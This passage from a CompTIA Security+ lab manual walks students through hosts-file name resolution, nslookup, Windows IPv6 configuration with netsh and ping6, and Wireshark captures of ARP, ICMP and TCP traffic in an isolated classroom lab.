Suggested Experiments 1. DHCP is designed to facilitate the setting of a client device’s IP settings from a host server that
exists to enable autoconfiguration of IP addresses. This is particularly useful in large networks
and provides a mechanism that allows remote administration of settings such as IP address
and DNS and gateway IP addresses. To experiment with DHCP, you need to set up a DHCP server
and then add clients to the network, exploring how DHCP sets the parameters automatically.
2. Research stack fingerprinting. When you ping a device and get a reply, you know that a device is working on the network. Are there any clues in the ICMP replies that might reveal what
kind of device is responding?
References ARP•
Microsoft arp Reference• www.microsoft.com/resources/documentation/windows/xp/ all/proddocs/en-us/arp.mspx
RFC 826: An Ethernet Address Resolution Protocol• www.faqs.org/rfcs/rfc826.html
DHCP•
DHCP FAQ• www.dhcp-handbook.com/dhcp_faq.html
RFC 2131: Dynamic Host Configuration Protocol• http://www.faqs.org/rfcs/rfc2131.html
ICMP•
RFC 792: Internet Control Message Protocol• www.faqs.org/rfcs/rfc792.html
RFC 950: Internet Standard Subnetting Procedure• www.faqs.org/rfcs/rfc950.html
IP addressing and subnetting • www.learntosubnet.com/
Linux commands•
ifconfig• Linux Programmer’s Manual, Section 8 (type the command man ifconfig)
netstat• Linux Programmer’s Manual, Section 8 (type the command man netstat)
ch01.indd 18 11/18/10 2:25:40 PM
Lab 1.2: Computer Name Resolution 19
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
Microsoft ipconfig Reference • www.microsoft.com/resources/documentation/windows/xp/ all/proddocs/en-us/ipconfig.mspx
Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 9
Lab 1.2: Computer Name Resolution Remembering IPv4 addresses can be cumbersome, especially when there are many machines on many
networks. One way we sort out this complexity is with the use of the Domain Name System (DNS). When
one computer connects to another computer using its domain name, the DNS translates the computer’s
domain name into its appropriate IP address.
The DNS will first access a network-based file called the hosts file. The hosts file is a listing of
corresponding IPv4 addresses and host names. By default, there is only one IP address—the localhost
address; it is equivalent to the loopback address 127.0.0.1. The hosts file can always be modified to
accommodate additional IP addresses.
If it has not found the IP address in the hosts file, the computer will need to query the DNS cache
(on Windows machines) and then the DNS server for the IP address. The DNS cache is a local copy of
recently used name–IP address pairs. If the name is not in the cache, then the request is directed to
a DNS server. If the DNS server does not have the IP address in its database, it can “ask” another DNS
server for the information. DNS servers are organized in a hierarchical structure, ultimately ending at
servers maintained by the naming authorities. This is an efficient method of resolving IP addresses to
names.
The fully qualified domain name (FQDN) is a dot-separated name that can be used to identify a
host on a network. The FQDN consists of the host name along with its domain name and any other
subdomain names, such as www.somename.com.
In this lab, you will modify the hosts file, test connectivity using the FQDN, and then explore the
functionality of the nslookup command.
Learning Objectives After completing this lab, you will be able to
Understand how the loopback address can be used to test a network card.•
Modify the hosts file on a computer using a basic text editor.•
Check the DNS cache on a computer from the command line.•
From the command line, resolve an FQDN to an IP address and vice versa.•
Understand how names are resolved into IP addresses in a Windows environment.•
ch01.indd 19 11/16/10 6:16:41 PM
Chapter 1: Workstation Network Configuration and Connectivity20
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
S 15 minutes
Lab 1.2w: Name Resolution in Windows
Materials and Setup You will need the following:
Windows XP Professional•
Windows 2003 Server•
Metasploitable (acting as DNS server)•
Lab Steps at a Glance
Step 1: Start the Windows XP Professional, Windows 2003 Server, and Metasploitable PCs. Only
log on to the Windows XP machine.
Step 2: Ping the Windows XP machine from the Windows XP machine.
Step 3: View and modify the hosts file.
Step 4: Ping the Windows 2003 Server machine by the FQDN.
Step 5: Use the nslookup command to view name-to–IP address information.
Step 6: Log off from the Windows XP PC.
Lab Steps
Step 1: Start the Windows XP Professional, Windows 2003 Server, and Metasploitable PCs.
Only log on to the Windows XP machine.
To log on to the Windows XP PC:
1. Click Admin at the Login screen.
2. In the password text box, type password and press enter.
Step 2: Ping the Windows XP machine from the Windows XP machine.
Using the Windows XP machine, you are going to ping the machine that you are working on, using
both the loopback address (127.0.0.1) and the name “localhost.” This is often done to test whether or not
the network interface card (NIC) and TCP/IP are working before moving on to other troubleshooting
methods.
ch01.indd 20 11/16/10 6:16:41 PM
Lab 1.2w: Name Resolution in Windows 21
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
1. To ping the machine using the loopback address, choose Start | Run, type cmd in the Open field, and press enter.
2. At the command line, type ping 127.0.0.1 and press enter.
3. Observe the information displayed.
4. To ping the Windows XP computer using localhost, at the command line, type ping localhost and press enter.
Observe the information displayed.a.
How does the computer know that localhost defaults to 127.0.0.1?b.
Step 3: View and modify the hosts file.
You are now going to view and modify the hosts file. The hosts file is a text file that lists host (computer)
names and their IP addresses on a network. On a small network, the hosts file can be used as an
alternative to DNS.
To view and modify the hosts file:
1. Choose Start | Run.
2. In the Open text box, type notepad c:\windows\system32\drivers\etc\hosts and press enter.
Observe the information displayed.a.
What entries are already there?b.
Why are they commented out?c.
3. Add the following lines to the end of the hosts file (refer to Figure 1-7):
192.168.100.102 2k3serv
192.168.100.101 me
4. Choose File | Save.
5. Close Notepad.
To ping the new names:
1. At the command line, type ping me and press enter.
What IP address comes up?
2. At the command line, type ping 2k3serv and press enter.
What IP address comes up?a.
Why do you think administrative rights are required to modify this file?b.
Can you think of a way that this file could be exploited?c.
ch01.indd 21 11/16/10 6:16:42 PM
Chapter 1: Workstation Network Configuration and Connectivity22
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
Step 4: Ping the Windows 2003 Server machine by the FQDN.
From the Windows XP PC, you are going to use the ping utility to communicate with the Windows 2003
Server machine. You will look at the DNS cache and see how it changes during this process.
1. To ping the IP address of the Windows 2003 Server computer, at the command line, type ping 192.168.100.102 and press enter.
2. Observe the information displayed.
3. To check the contents of the DNS cache, at the command line, type ipconfig /displaydns and press enter.
What listings do you see?a.
Is there one for win2kserv.security.local?b.
4. To ping the Windows 2003 Server computer by name, at the command line, type ping win2kserv.security.local and press enter.
Observe the information displayed.a.
Did it show the IP address of the server?b.
5. To check the DNS cache again, at the command line, type ipconfig /displaydns and press enter.
Is there an entry for 2k3serv.security.local this time?a.
Where did the DNS cache get it from?b.
Figure 1-7 Modifying the hosts file with Notepad
ch01.indd 22 11/16/10 6:16:42 PM
Lab 1.2w: Name Resolution in Windows 23
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
Step 5: Use the nslookup command to view name-to–IP address information.
You will use nslookup to view name resolution. The nslookup command allows you to either discover the
IP address of a computer from its FQDN or use the IP address to determine the FQDN.
To list the options available for the nslookup command:
1. At the command line, type nslookup and press enter.
2. At the command prompt, type help and press enter.
➜ Note
Unlike most other commands at the Windows command line, the /? switch will not provide the
usage information for nslookup.
Observe the information displayed.a.
Which option displays the current server/host?b.
3. At the command line, type exit and press enter.
4. To check the IP address for the Windows XP computer, at the command line, type nslookup winxppro.security.local and press enter.
Is the IP address correct?
5. To check the IP address for the Windows 2003 Server computer, at the command line, type nslookup Win2k3serv.security.local and press enter, as shown in Figure 1-8.
Is the IP address correct? a.
Note that the name of the server is win2k3serv and not 2k3serv, which you put into the b. hosts file.
How can you be sure that these responses actually came from a legitimate DNS server?c.
➜ Note
The nslookup command uses the fully qualified domain name (FQDN) of a computer.
Step 6: Log off from the Windows XP PC.
At the Windows XP PC:
1. Choose Start | Log Off.
2. In the Log Off Windows dialog box, click Log Off.
ch01.indd 23 11/16/10 6:16:43 PM
Chapter 1: Workstation Network Configuration and Connectivity24
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
➜ Note
Although it is easy to look up, a packet’s source IP address can be changed (spoofed) and should
not be relied upon blindly as proof of origin. This is a weakness of IPv4 and has been addressed
using IP Security (IPsec), an optional component of the Internet Protocol.
Lab 1.2 Analysis Questions The following questions apply to the lab in this section:
1. You are the administrator of a large network. You would like to make a change that allows users to type one word into their web browsers to access a web site. For example, instead of
typing www.yoursite.com, users could just type yoursite. Based on the lab you have just done,
how is this accomplished for the example given?
_________________________________________________________________________
2. What is the sequence in which domain names are resolved?
_________________________________________________________________________
3. Entering the command nslookup IP address will provide you with what information about the IP address?
_________________________________________________________________________
Figure 1-8 The nslookup command
ch01.indd 24 11/16/10 6:16:43 PM
Lab 1.2w: Name Resolution in Windows 25
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
Lab 1.2 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
DNS cache
Domain Name System (DNS)
fully qualified domain name (FQDN)
hosts file
IP addresses
localhost address
loopback address
nslookup
ping localhost
1. The command used in this lab to test and query DNS servers is called ____________________.
2. You can type ________________________________________ to test whether or not a network card and TCP/IP are working on the local machine.
3. The letters FQDN stand for ____________________ ____________________ ____________________ ____________________.
4. Entering nslookup www.yoursite.com will provide you with all the ____________________ associated with that FQDN.
5. The ____________________ is a small space in memory that will maintain resolved names for a period of time.
6. What file maps computer names to IP addresses? ____________________________________ _________________________
Follow-Up Labs Lab 4.1: IP Address and Port Scanning, Service Identity Determination• Discover how to scan a network for IP addresses and find open ports on each one discovered.
Lab 5.3: E-Mail System Exploits• See how domain names are used in spoofing e-mails.
Suggested Experiment On your home computer, use nslookup to find the IP addresses for different sites that you normally go
to, such as www.google.com or www.microsoft.com.
ch01.indd 25 11/16/10 6:16:43 PM
Chapter 1: Workstation Network Configuration and Connectivity26
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
References ARP•
RFC 826: An Ethernet Address Resolution Protocol• www.faqs.org/rfcs/rfc826.html
ICMP•
RFC 792: Internet Control Message Protocol• www.faqs.org/rfcs/rfc792.html
nslookup•
RFC 2151: A Primer on Internet and TCP/IP Tools and Utilities• www.faqs.org/rfcs/ rfc2151.html
Principles of Computer Security: CompTIA Security+™ and Beyond, Second Edition• (McGraw-Hill Professional, 2010), Chapter 9
Lab 1.3: IPv6 Basics The TCP/IP network that is commonly referred to as either TCP or IP seldom refers to the version of
the protocol in use. Until recently, this was because everyone used the same version, version 4. One of
the shortcomings of IPv4 is the size of the address space. This was recognized early, and a replacement
protocol, IPv6, was developed in the late 1990s. Adoption of IPv6 has been slow because, until recently,
there have been IPv4 addresses remaining in inventory for use. The impending end of the IPv4 address
inventory has resulted in the move of enterprises into dual-stack operations, where both IPv4 and IPv6
are used.
IPv6 is not a backward-compatible protocol to IPv4. There are many aspects that are identical,
yet some have changed to resolve issues learned during the use of IPv4. A key aspect is the
autoconfiguration features associated with the IPv6 standard. IPv6 is designed to extend the reach of
the Internet Protocol by addressing issues discovered in the 30 years of IPv4. IP address space is the
most visible change, but issues such as simpler configuration of IP-enabled devices without using DHCP,
deployment of security functionality, and quality of service are also designed into IPv6 as optional
extensions (with limitations).
A significant change occurs in ICMPv6: ICMP messages are used to control issues associated with
routing packet losses, so blocking ICMPv6 at the edge of the network would result in a system not
getting delivery failure messages. ICMP is also used to convey Neighbor Discovery (ND) and Neighbor
Solicitation (NS) messages to enable autoconfiguration of IP-enabled devices. ICMP becomes a complete
part of the protocol set with version 6.
IPv6 supports a variety of address types, as listed in Table 1-1.
Link-local unicast addresses are analogous to the IPv4 address series 169.254.0.0/16. These addresses
are automatically assigned to an interface and are used for autoconfiguration of addresses and Neighbor
Discovery. They are not to be routed. Multicast addresses are used to replace the broadcast function
from IPv4. Multicast addresses can be defined in a range of scopes, from link to site to Internet.
ch01.indd 26 11/16/10 6:16:44 PM
Lab 1.3w: Windows IPv6 Basics (netsh/ping6) 27
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
Global unicast addresses are used to send to a specific single IP address, multicast addresses are used
to send to a group of IP addresses, and the anycast address, a new type in IPv6, is used to communicate
with any member of a group of IPv6 addresses.
Learning Objectives After completing this lab, you will be able to
Understand the new IPv6 header.•
Understand different address configurations.•
Understand IPv6 addressing nomenclature.•
Identify differences between IPv6 and IPv4 traffic.•
S 40 minutes
Lab 1.3w: Windows IPv6 Basics (netsh/ping6)
Materials and Setup You will need the following:
Windows XP Professional•
Windows 2003 Server•
Address Type Binary Prefix Prefix
Unspecified 000...0 (128 bits) ::/128
Loopback 000...01 (128 bits) ::1/128
Link-local unicast 1111 1110 10 FE80::/10
Multicast 1111 1111 FF00::/8
Global unicast All other addresses
IPv4 mapped 000…01111111111111111 ::FFFF/96
Unique Local Unicast Address (ULA) 1111 110 FC00::/7
Assigned to RIR 001 2000::/3
Table 1-1 IPv6 Address Types
ch01.indd 27 11/16/10 6:16:44 PM
Chapter 1: Workstation Network Configuration and Connectivity28
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
Lab Steps at a Glance
Step 1: Start the Windows XP Professional and Windows 2003 Server machines. Log on only to
the Windows XP machine.
Step 2: Install IPv6.
Step 3: Verify IPv6 settings.
Step 4: Log on to the Windows 2003 Server machine.
Step 5: Install IPv6.
Step 6: Verify IPv6 settings.
Step 7: Launch Wireshark on the Windows XP PC.
Step 8: Ping the Windows 2003 Server machine from the Windows XP machine.
Step 9: Change the IPv6 address of the Windows XP machine.
Step 10: View the IPv6 ping traffic in Wireshark.
Step 11: Investigate communications between various IP addresses.
Step 12: Reset all IPv6 configuration states.
Step 13: Log off from both the Windows XP and Windows 2003 Server machines.
Lab Steps
Step 1: Start the Windows XP Professional and Windows 2003 Server machines. Log on only
to the Windows XP machine.
To log on to the Windows XP PC:
1. Click Admin at the Login screen.
2. In the password text box, type password and press enter.
Step 2: Install IPv6.
1. Choose Start | Run.
2. Type cmd in the Open field and press enter.
3. At the command line, type netsh interface ipv6 install and press enter.
Step 3: Verify IPv6 settings.
1. Type netsh interface ipv6 show address and press enter. You should get a reply similar to what’s shown in Figure 1-9.
ch01.indd 28 11/16/10 6:16:45 PM
Lab 1.3w: Windows IPv6 Basics (netsh/ping6) 29
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
2. Record your IPv6 address for later use.
Step 4: Log on to the Windows 2003 Server machine.
To log on to the Windows 2003 Server PC:
1. At the Login screen, press ctrl-alt-del.
2. Enter the username administrator and the password adminpass.
3. Click OK.
Step 5: Install IPv6.
1. Choose Start | Run.
2. Type cmd in the Open field and press enter.
3. At the command line, type netsh interface ipv6 install and press enter.
Step 6: Verify IPv6 settings.
1. Type netsh interface ipv6 show address and press enter.
2. Record your IPv6 address for later use.
Figure 1-9 IPv6 settings
ch01.indd 29 11/16/10 6:16:45 PM
Chapter 1: Workstation Network Configuration and Connectivity30
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
Step 7: Launch Wireshark on the Windows XP PC.
➜ Note
Wireshark is a protocol analyzer and network sniffing program. It will be covered in more depth
in Chapter 2.
On the Windows XP machine:
1. Choose Start | All Programs | Wireshark.
2. Within Wireshark, choose Capture | Interfaces.
3. Click Start for the correct interface.
Note
The correct interface has the corresponding IP address you recorded in the previous step.
Step 8: Ping the Windows 2003 Server machine from the Windows XP PC machine.
On the Windows XP machine, in the command window, type ping6 [IPv6 address of Windows 2003 Server machine]%4 and press enter.
➜ Note
%4 is the interface number.
The IPv6 address will look something like fe80::20c:29ff:feb7:1dc4. You should get a reply similar to
what’s shown in Figure 1-10.
Step 9: Change the IPv6 address of the Windows XP machine.
1. On the Windows XP machine, in the command window, type netsh interface ipv6 set address 4 2001:db8:1234:5678::2 and press enter.
2. Verify address by typing netsh interface ipv6 show address and pressing enter.
3. Record the IPv6 addresses and types for later use.
ch01.indd 30 11/16/10 6:16:45 PM
Lab 1.3w: Windows IPv6 Basics (netsh/ping6) 31
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
Step 10: View the IPv6 ping traffic in Wireshark.
On the Windows XP PC, verify the IPv6 ping by viewing the Wireshark output. You should get a reply
similar to what’s shown in Figure 1-11.
➜ Note
You can filter the results to show only IPv6-related traffic by specifying ipv6 in the Filter field
and clicking Apply.
Figure 1-10 The ping6 command
Figure 1-11 IPv6 traffic in Wireshark
ch01.indd 31 11/16/10 6:16:46 PM
Chapter 1: Workstation Network Configuration and Connectivity32
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
Step 11: Investigate communications between various IP addresses.
For this step, experiment using Wireshark and the ping6 command on Windows XP and using Wireshark and
the ping command on Windows 2003 Server. Investigate communicating between various IPv6 addresses.
What are the differences?
Step 12: Reset all IPv6 configuration states.
On both machines, in the command window, type netsh interface ipv6 reset and press enter.
Step 13: Log off from both the Windows XP and Windows 2003 Server machines.
1. On the Windows XP Professional PC, choose Start | Log Off and click Log Off.
2. On the Windows 2003 Server machine, choose Start | Log Off, click Log Off, and click OK.
Lab 1.3 Analysis Questions The following questions apply to the lab in this section:
1. What are the different types of IPv6 addresses you created during the lab? How is communication between them accomplished?
2. What are the different types of IPv6 traffic captured in Wireshark?
3. Using Wireshark, describe the differences between IPv4 and IPv6 packets observed in this lab.
Lab 1.3 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
anycast address
global unicast addresses
ICMPv6
link-local unicast addresses
loopback address
multicast addresses
Neighbor Discovery (ND)
Neighbor Solicitation (NS)
ch01.indd 32 11/16/10 6:16:46 PM
Lab 1.3w: Windows IPv6 Basics (netsh/ping6) 33
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 1
1. The protocol used for Neighbor Discovery (ND) is ____________________.
2. ARP is replaced in IPv6 by ________________________________ transmitted using ____________________.
3. IPv6 addresses that begin with FE80 represent _________________________________.
4. In IPv6, broadcast messages are accomplished using _____________________________.
References ARIN IPv6 Wiki• www.getipv6.info/index.php/Main_Page
ICMPv6•
RFC 2463: Internet Control Message Protocol (ICMPv6) for the Internet Protocol • Version 6 (IPv6) Specification www.faqs.org/rfcs/rfc2463.html
Introduction to IP Version 6• (Microsoft Corporation, updated January 2008) http:// download.microsoft.com/download/e/9/b/e9bd20d3-cc8d-4162-aa60-3aa3abc2b2e9/IPv6.doc
IPv6•
RFC 2460: Internet Protocol, Version 6 (IPv6) Specification• www.faqs.org/rfcs/ rfc2460.html
Why, How presentation slides (Jen Linkova)• www.openwall.com/presentations/IPv6/
IPv6 transition•
RFC 4942: IPv6 Transition/Co-existence Security Considerations• www.faqs.org/rfcs/ rfc4942.html
Neighbor Discovery•
RFC 2461: Neighbor Discovery for IP Version 6 (IPv6)• www.faqs.org/rfcs/rfc2461.html
ch01.indd 33 11/16/10 6:16:47 PM
This page intentionally left blank
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2 / Blind Folio 35
Network Transports
Labs Lab 2.1 Network Communication Analysis•
Lab 2.1w Network Communication Analysis in Windows
Lab 2.1 Analysis Questions
Lab 2.1 Key Terms Quiz
Lab 2.2 Port Connection Status•
Lab 2.2w Windows-Based Port Connection Status
Lab 2.2l Linux-Based Port Connection Status
Lab 2.2 Analysis Questions
Lab 2.2 Key Terms Quiz
Chapter 2
ch02.indd 35 11/17/10 10:39:47 AM
Chapter 2: Network Transports36
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Networks work by transporting data from point A to point B and vice versa. However, to do so they need standards to control data
communication. In the lab exercises in this chapter, you will work with
three of those standards: ARP, UDP, and TCP. You will be able to fully see
how packets interact with one another to establish connections and get
information where it is supposed to go. We will do this using tools such
as netstat and Wireshark.
➜ Note
Instructions for setting up all environments used in this chapter can be found on the book’s
companion online learning center at www.securityplusolc.com.
Lab 2.1: Network Communication Analysis Wireshark is a powerful protocol analyzer (and sniffer) that can be used by network professionals
to troubleshoot and analyze network traffic under great scrutiny. Since the information revealed by
Wireshark can be used to either attack or defend a network, administrators should learn how to use it
so that they are aware of what potential attackers can see. Wireshark is a utility that will help you to
look at how various protocols work. It will be examined in several labs throughout the book.
In Lab 1.1, “Network Workstation Client Configuration,” you looked at the relationship of IP address
to MAC address and the use of the ping command. In this lab, first you will see the traffic generated
by one computer requesting the MAC address of another computer using ARP. You will then look at the
ICMP traffic in the ping request and reply process. Next, you will look at the connectionless protocol
UDP that is used by DNS. Finally, you’ll look at connection-oriented TCP traffic.
Internet Control Message Protocol (ICMP) is a transport protocol used between different devices on a
network to help the network know a bit more about what is happening and why it might be happening.
User Datagram Protocol (UDP) is a connectionless transport protocol used to send small amounts of
data, typically where the order of transmission does not matter or where the timeliness of the traffic is
more important than the completeness of the traffic (for example, audio).
Transmission Control Protocol (TCP) is a connection-oriented protocol between two or more
computers. As such, a reliable connection must be established before data is transmitted. The process
of two devices establishing this connection with TCP is called the three-way handshake. The following
ch02.indd 36 11/17/10 10:39:48 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Lab 2.1: Network Communication Analysis 37
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
illustration shows the header of a TCP packet, and the following list (from RFC 791: Internet Protocol,
www.faqs.org/rfcs/rfc791.html) describes its fields.
Source Port• 16 bits. The source port number.
Destination Port• 16 bits. The destination port number.
Sequence Number• 32 bits. The sequence number of the first data octet in this segment (except when SYN is present). If SYN is present, the sequence number is the initial sequence
number (ISN) and the first data octet is ISN+1.
Acknowledgment Number• 32 bits. If the ACK control bit is set, this field contains the value of the next sequence number the sender of the segment is expecting to receive. Once a
connection is established this is always sent.
Data Offset• 4 bits. The number of 32 bit words in the TCP header. This indicates where the data begins. The TCP header (even one including options) is an integral number of 32 bits long.
Reserved• 6 bits. Reserved for future use. Must be zero.
Control Bits• 6 bits (from left to right):
URG • Urgent Pointer field significant
ACK • Acknowledgment field significant
PSH • Push Function
RST • Reset the connection
SYN • Synchronize sequence numbers
FIN • No more data from sender
Window • 16 bits. The number of data octets beginning with the one indicated in the acknowledgment field which the sender of this segment is willing to accept.
ch02.indd 37 11/17/10 10:39:48 AM
Chapter 2: Network Transports38
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Checksum • 16 bits. The checksum field is the 16 bit one’s complement of the one’s complement sum of all 16 bit words in the header and text. If a segment contains an odd number of header
and text octets to be checksummed, the last octet is padded on the right with zeros to form a
16 bit word for checksum purposes. The pad is not transmitted as part of the segment. While
computing the checksum, the checksum field itself is replaced with zeros.
Urgent Pointer• 16 bits. This field communicates the current value of the urgent pointer as a positive offset from the sequence number in this segment. The urgent pointer points to the
sequence number of the octet following the urgent data. This field is only [to] be interpreted
in segments with the URG control bit set.
Options • Variable.
Padding • Variable. The TCP header padding is used to ensure that the TCP header ends and data begins on a 32 bit boundary. The padding is composed of zeros.
There are essentially three steps to the three-way handshake. Initially, the first computer establishes
a connection with the second computer via a synchronize packet (SYN). When the second computer
receives this packet, it responds by sending a synchronize packet and an acknowledgment packet (ACK).
When the initiating computer receives these two packets, it replies with an acknowledgment packet of
its own, and a communication link is established between the two computers. When you think of the
three-way handshake, think SYN, SYN/ACK, and ACK. As you will see, this is a very important security
concept.
For example, HTTP is a transport layer protocol that utilizes the three-way handshake. It is a
generic protocol that is most often used in web-based communication on the Internet. HTTP is used for
communication between user agents and proxies, or gateways, to other Internet systems. It is a TCP-
based protocol and uses port 80 to communicate.
Learning Objectives After completing this lab, you will be able to
Use Wireshark to capture a communication • session between two computers.
Given a screenshot of a session captured using Wireshark, identify the three main sections of • the Wireshark display.
Use Wireshark’s • filter option to view desired protocols.
Use Wireshark to capture and identify UDP traffic.•
Use Wireshark to capture and identify TCP traffic, including the three-way handshake and the • packets used to determine that a TCP session has ended.
➜ Note
This lab is constructed upon protocols and methods associated with IPv4, including ARP. As ARP
is not part of IPv6, this lab will not provide the same results in an IPv6 environment.
ch02.indd 38 11/17/10 10:39:49 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Lab 2.1w: Network Communication Analysis in Windows 39
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
S 25 minutes
Lab 2.1w: Network Communication Analysis in Windows
Materials and Setup You will need the following:
Windows XP Professional•
Windows 2003 Server•
Metasploitable•
In addition, you will need
Wireshark•
Lab Steps at a Glance
Step 1: Start the Windows XP Professional and Windows 2003 Server PCs. Only log on to the
Windows XP PC.
Step 2: Clear the ARP cache.
Step 3: Start Wireshark and capture a ping session.
Step 4: Examine the captured session.
Step 5: Filter the captured session.
Step 6: Capture a DNS session.
Step 7: Examine the DNS session.
Step 8: Clear the ARP cache and capture a Telnet session.
Step 9: Examine the Telnet session and identify all the protocols in use.
Step 10: Log off from the Windows XP Professional PC.
Lab Steps
Step 1: Start the Windows XP Professional and Windows 2003 Server PCs. Only log on to the
Windows XP PC.
ch02.indd 39 11/17/10 10:39:49 AM
Chapter 2: Network Transports40
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Log on to the Windows XP Professional PC:
1. At the Login screen, click on the Admin icon.
2. In the password text box, type the password password, then press enter.
Step 2: Clear the ARP cache.
The ARP cache is an area in memory where the computer stores the information that is found in the
ARP table. Clearing the ARP cache before you start the capture session allows you to have greater control
over data that you capture.
1. Choose Start | Run, type cmd in the Open field, and press enter to open a command prompt.
2. At the command line, type arp –a and press enter.
3. There should be no entries. If there are, clear them with the arp –d command.
➜ Note
Leave the command prompt window open throughout this lab because you will use it multiple
times.
Step 3: Start Wireshark and capture a ping session.
This step introduces you to Wireshark and shows you how to use it to capture, view, and filter
communication between two computers.
1. Start Wireshark by choosing Start | All Programs | Wireshark. See Figure 2-1.
➜ Note
The startup screen displays the commands needed to use Wireshark.
2. Start capturing data by clicking Interface List. (You use Capture | Interfaces on the menu bar when the startup screen is not displayed.)
3. In the Capture Interfaces dialog box, shown in Figure 2-2, click Start to start capturing data.
4. At the command line, type ping 192.168.100.102 and press enter.
5. Observe the response. You should receive four replies.
6. Stop capturing data in Wireshark by clicking Capture | Stop.
7. Observe the captured session. See the example shown in Figure 2-3.
What types of packets are being sent during the ping requests?
ch02.indd 40 11/17/10 10:39:49 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Lab 2.1w: Network Communication Analysis in Windows 41
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Step 4: Examine the captured session.
You will now look at the information that Wireshark gives you.
1. As shown in Figure 2-3, Wireshark’s main screen is separated into three sections:
Packet list section • Located at the top, this section displays a summary of the packets captured. Clicking on any one of the packets in this section displays more detailed
information in the other two sections.
Figure 2-1 Wireshark startup screen
Figure 2-2 Capture Interfaces dialog box
ch02.indd 41 11/17/10 10:39:50 AM
Chapter 2: Network Transports42
